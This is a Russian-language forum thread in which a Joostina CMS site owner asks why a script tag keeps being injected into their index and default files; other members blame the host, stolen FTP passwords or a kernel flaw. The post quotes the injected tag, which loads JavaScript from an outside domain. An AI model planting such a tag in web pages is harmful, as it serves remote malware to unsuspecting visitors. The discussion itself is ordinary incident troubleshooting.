Где дыра, в движке? joostina 1.3.0

[glow13]

Прошу прощения, возможно тема не в том разделе. Столкнулся с проблемой, уже два раза наталкивался на то что кто то получает доступ ко всем файлам начинающимся на index. Вставляют вот такой код: <!-- o65 --><script type="text/javascript" src="http://sklad-plitki.ru/templates/game.js"></script><!-- c65 --> . У меня вопрос, это дырка в движке где то или хостинг или что? Если проблема в движке то как залатать дыру? Скажите пожалуйста, а то я всерьез задумываюсь о смене движка. Версия движка joostina 1.3.0

[Gold Dragon]

это дыра у хостера

[glow13]

самому никак не реально защититься от этого? только на хостера надеяться?

[Gold Dragon]

а именно ко всем файлам или только index.html ?

[Diiimonn]

частенько бывает, что дыра есть ваш ПК, а именно логины/пароли забитые в ftp..уже много раз обсуждалось

[glow13]

изменились эти еще файлы index.html, index.htm, index.php, default.htm, default.html .

[Gold Dragon]

даже index.php ? У меня один раз такое было, но только HTML

[Diiimonn]

тож было когда-то
http://joomlaforum.ru/index.php/topic,94000.0.html

[wishlight]

Проверьте компьютер и резервную копию сайта AVPTool. Не храните пароли в ftp-менеджерах.

[glow13]

спасибо, все проверю и хостеру напишу на всякий случай

[colors]

Прочитайте тему http://joomlaforum.ru/index.php/topic,139588.msg760957.html#msg760957
Было у меня в точности такое, оказался хостинг "виноват" и дырка в ядре линукса (под вопросом)
Тоже на joostina грешил сначала. Общался потом с одним из клиентов хостинга на моем сервере, говорит только аккаунт создал, нет ни базы, ни единого файла не залил, а в папке уже файлы index,ххх лежали ))))

Так что смело пинайте хостера по этому поводу, пусть шевелится, а-то всех клиентов растеряет